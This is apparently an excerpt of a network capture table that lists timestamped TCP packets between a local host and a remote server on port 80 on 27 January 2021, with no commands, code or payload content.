Jan 27, 2021 20:06:16.459278107 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.459316015 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.459914923 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.461199045 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.492906094 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.492969990 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.493107080 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.493134022 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.494632959 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.494741917 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.494781017 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.494787931 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.494832039 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.494837046 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.494923115 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.494966984 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.495023012 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.495062113 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.495100021 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.495138884 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.495177031 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.495215893 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.495245934 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.495284081 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.495321035 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.495335102 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.495346069 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.495347977 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.495348930 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.495351076 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.495352030 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.495353937 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.495356083 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.495366096 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.495369911 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.495393038 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.495409012 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.495429993 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.495440006 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.495474100 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.495476961 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.495517969 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.495529890 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.495553970 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.495563984 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.495590925 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.495628119 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.495628119 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.495662928 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.495670080 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.495676041 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.495714903 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.495716095 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.495753050 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.495754957 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.495794058 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.498193979 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.498225927 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.498239994 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.498251915 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.498271942 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.498284101 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.498306036 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.498311043 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.498312950 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.498327971 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.498336077 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.498346090 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.498358965 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.498374939 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.498389959 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.498399019 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.498411894 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.498414040 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.498428106 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.498435974 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.498452902 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.498475075 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.498482943 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.498492002 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.498508930 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.498517990 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.498533964 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.498554945 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.498563051 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.498574972 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.498588085 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.498598099 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.498614073 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.498630047 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.498639107 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.498660088 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.498668909 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.498680115 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.498696089 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.498712063 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.498720884 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.498737097 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.498749018 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.498760939 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.498773098 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.498791933 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.498794079 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.498806953 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.498814106 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.498822927 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.498836994 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.498847008 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.498853922 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.498871088 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.499674082 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.499696970 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.499707937 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.499747992 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.499757051 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.499762058 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.499763966 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.499783993 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.499792099 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.499808073 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.499821901 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.499830961 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.499838114 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.499852896 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.499866009 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.499881983 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.499902964 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.499939919 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.499952078 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.499968052 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.499990940 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500020027 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500036001 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500049114 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500057936 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500065088 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500077009 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500092030 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500101089 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500114918 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500128031 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500138044 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500145912 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500159979 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500173092 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500186920 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500195026 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500212908 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500224113 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500240088 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500250101 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500266075 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500274897 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500293016 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500303030 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500317097 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500329018 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500339985 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500351906 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500363111 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500374079 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500396967 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500457048 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500473022 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500488997 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500497103 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500518084 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500524998 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500540018 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500556946 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500572920 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500581026 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500597000 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500607014 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500614882 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500643969 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500652075 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500669956 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500689983 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500694990 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500704050 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500719070 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500725031 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500744104 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500752926 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500766993 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500777960 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500791073 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500802994 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500813961 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500825882 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500837088 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500849009 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500859976 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500870943 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500881910 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500895023 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500904083 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500921965 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500941038 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.500947952 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500963926 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500981092 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.500988960 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501003981 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501012087 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501015902 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501034021 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501040936 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501059055 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501070023 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501085997 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501096010 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501111984 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501121998 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501137972 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501147985 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501163960 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501172066 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501187086 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501202106 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501214027 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501221895 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501239061 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501251936 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501264095 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501274109 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501288891 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501300097 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501326084 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501348019 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501375914 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501394033 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501413107 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501418114 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501436949 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501447916 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501465082 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501472950 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501491070 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501502037 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501518011 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501526117 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501543999 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501555920 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501570940 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501579046 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501594067 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501609087 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501621008 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501630068 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501646042 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501657009 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501672029 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501681089 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501698017 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501708984 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501724958 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501734018 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501750946 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501769066 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501777887 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501796007 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501801014 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501807928 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501822948 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501837015 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501847982 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501856089 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501872063 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501885891 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501897097 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501904964 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501921892 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501933098 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501945019 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501956940 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501967907 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.501979113 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.501990080 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502005100 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502012014 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502031088 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502047062 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502053976 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502068043 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502084017 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502089977 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502099991 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502111912 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502126932 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502132893 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502145052 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502154112 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502166986 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502177000 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502190113 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502197981 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502206087 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502219915 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502233982 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502243042 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502257109 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502264977 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502274036 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502286911 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502316952 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502329111 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502346992 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502355099 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502362967 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502381086 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502392054 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502405882 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502415895 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502433062 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502443075 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502460003 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502469063 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502485991 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502496004 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502512932 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502521992 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502537966 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502548933 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502563953 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502573967 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502588034 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502598047 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502613068 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502624035 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502639055 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502649069 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502665043 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502676010 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502690077 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502700090 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502715111 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502731085 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502748966 CET	80	49165	18.194.54.219	192.168.2.22
